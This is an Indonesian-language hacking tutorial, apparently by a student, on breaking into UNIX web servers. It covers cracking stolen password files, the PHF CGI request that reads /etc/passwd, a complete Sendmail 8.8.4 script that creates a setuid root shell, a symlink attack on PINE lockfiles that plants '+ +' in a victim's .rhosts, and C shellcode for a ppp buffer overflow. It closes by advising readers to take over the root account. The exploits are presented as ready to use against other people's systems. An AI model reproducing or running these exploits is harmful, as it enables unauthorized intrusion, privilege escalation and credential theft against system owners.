Hacking Webpages-UNIX

Akeda Bagus Jully Setiasgi
akeda_bagus@telkom.net

Mungkin dari Anda sudah banyak yang menjadi *UNIX hacker* (kalo gw sih newbie, tapi yg sok tau), tapi bagi yang sering hacking lewat windows ada baiknya mencobanya. Metodologi atau terminology atau anatomi atau cara singkatnya (qe..qe..qe Sok mantap bahasa lo lay ☺) yang ada :

1. Mendapatkan Password melalui FTP
2. Teknik PHF
3. Telnet dan Exploits

OK langsung saja ☺

Mendapatkan Password

Cara termudah mendapatkan akses superuser dapat melalui akses ftp ke sebuah webpage. Tentunya kamu juga harus mengerti isi dari file password.

```
root:User:d7Bdg:1n2HG2:1127:20:Superuser
AkedaBagus:p5Y(hOtiC:1229:20:Akeda Bagus,:/usr/people/akedabagus:/bin/csh
MTong:EUyd5XAAtv2dA:1129:20:Malih Tong:/usr/people/mtong:/bin/csh
```

Ini merupakan contoh password file yang terenkripsi. Bagian yang perlu diperhatikan adalah :

```
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
```

Berikut ini contoh lain dari file password, ini memiliki sedikit perbedaan, yaitu apa yg dikenal *shadow*. Yup file ini ter-shadow. File yg ter-shadow menyebabkan file tidak dapat dilihat atau dicopy seperti password terenkripsi biasanya. Contoh dari file password yang dishadow :

```
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper
Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
```

file tershadow mempunyai “x” di tempat password tsb atau terkadang tersamarkan oleh *.

Setelah mengenal sedikit password file, dan mudah-mudahan dengan mudah dapat mengidentifikasinya. Sekarang kita beranjak ke cara untuk meng-cracknya.

Mengcrack password tidaklah sesulit apa yang kita bayangkan, walaupun jenis file berbeda-beda dari beberapa system. Langkah pertama yang dilakukan adalah mendownload atau mengcopy file tsb. Langkah selanjutnya mencari password cracker atau dictionary maker (sesuaikan dengan jenis file yg Anda dapat). Dimana nyarinya ? …hmm biasakan mencari dahulu dengan search engine seperti google. Atau bisa juga ke astalavista, di sini ada search engine buat nyari tool hacking. Sebagai referensi penulis hanya menggunakan cracker tool seperti : *Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.* Lalu untuk dictionary maker atau dictionary file… Ketika kita (Kita ..? Lo aja sendiri☺) memulai mengcrack sebuah program, maka kita akan ditanyakan untuk menemukan password file. Itulah fungsi dictionary maker. Kamu dapat mendownload di situs hacker yang bertebaran. Dictionary maker dapat bekerja pada kombinasi huruf dengan alphabet yang dapat kita pilih (ASCII, huruf besar, huruf kecil serta angka). Lalu mulailah mengcrack sesuai perintah yang diberikan dari tool-tool tsb.

Teknik PHF

Kebanyakan orang telah mengetahui teknik ini dan kebanyakan server telah menemukan bug ini dan telah memperbaikinya. Namun tak ada salahnya mencantumkannya sebagai referensi.

Phf teknik merupakan cara termudah (Sok tau… sorry gw juga newbie ☺) mendapatkan password. Untuk melakukannya hanya buka browser dan dan ketik :

```
http://nama_webpage/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

Ganti nama_webpage dengan domain. Jadi jika kamu mencoba mendapatkan file pasword dari www.akeda.com ketik:

```
http://www.akeda.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

Yeah Cuma gitu! Santai dan copy filenya(jika masih jalan lo... Yach ☹).

Telnet dan Exploits

Sebenarnya inilah cara terbaik (menurut gw) menghack webpages, tapi agak sulit dibandingkan meggunakan ftp atau phf. Sebelum mensetup exploit, kamu harus ada telnetnya. Exploits memberitahu

sistem jika ada error atau bug dan biasanya bekerja untuk mendapatkan akses root. Banyak sekali jenis exploits bertebaran di internet.

Exploit ini dikenal dengan nama Sendmail v.8.8.4, ini akan membuat program suid /tmp/x atau shell root. Cara mensetupnya :

```
cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);
 }
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -
d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
```

dan sekarang exploit lainnya. Saya akan menjelaskan pine exploit melalui linux. Dengan melihat tabel proses dengan ps untuk melihat user mana yang lagi menjalankan PINE, lalu ls /tmp/ untuk memperoleh nama lockfile untuk setiap user. Lihat lagi tabel proses, maka sekarang akan tampak setiap user yg keluar PINE atau kehabisan space pesan di inboxnya, secara efektif akan menghapus setiap lockfile.

Buatlah sebuah link ke /tmp/.hamors_lockfile to ~hamors/.rhosts(umumnya begini) akan menyebabkan PINE membuat ~harmors/.rhosts sebagai file 666 dengan PINE proses id didalamnya. Atau simpelnya echo "+ +" > /tmp/.hamors_lockfile, lalu rm /tmp/.hamors_lockfile.

* *Berikut ini cuplikan dari Sean B. Hamor ... Dalam contoh ini harmor sebagai korban, sedangkan catluvr attackernya.*

```
hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
```

```
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
```

Yang terakhir gw kasihtau adalah script exploit untuk ppp yng vulner. Kacaukan dengan angka jika tak dapat bekerja. Ini cara mensetupnya :

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"  /*
16 bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"  /*
16 bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"   /*
20 bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";     /*
15 bytes, 57 total */

        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */
```

```
        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}
```

Setelah mendapat akses root, sebaiknya lo ganti passwordnya sebelum menghapus atau mengganti sesuatu. Untuk mengganti account mereka login via telnet dengan account barumu. Ketik passwd, lalu akan menanyakan password baru yang akan kau ganti.

BIOGRAFI PENULIS

Akeda Bagus Jully Setiasgi. Lahir di Bekasi, 13 Juli 1984. Manamatkan SMU di SMUN 2 Bekasi. Saat ini penulis sedang menyelesaikan kuliah S1 di Gunadarma jurusan Sistem Komputer. Lagi getol-getolnya sama musik jazz, sehingga banyak menghabiskan waktunya bersama guitar. Hobi beratnya ya main gitar, piano dan ngoprek komputer. Saat ini sedang mendalami pemrograman di Linux.
Informasi lebih lanjut tentang penulis bisa didapat melalui:
Email: akeda_bagus@telkom.net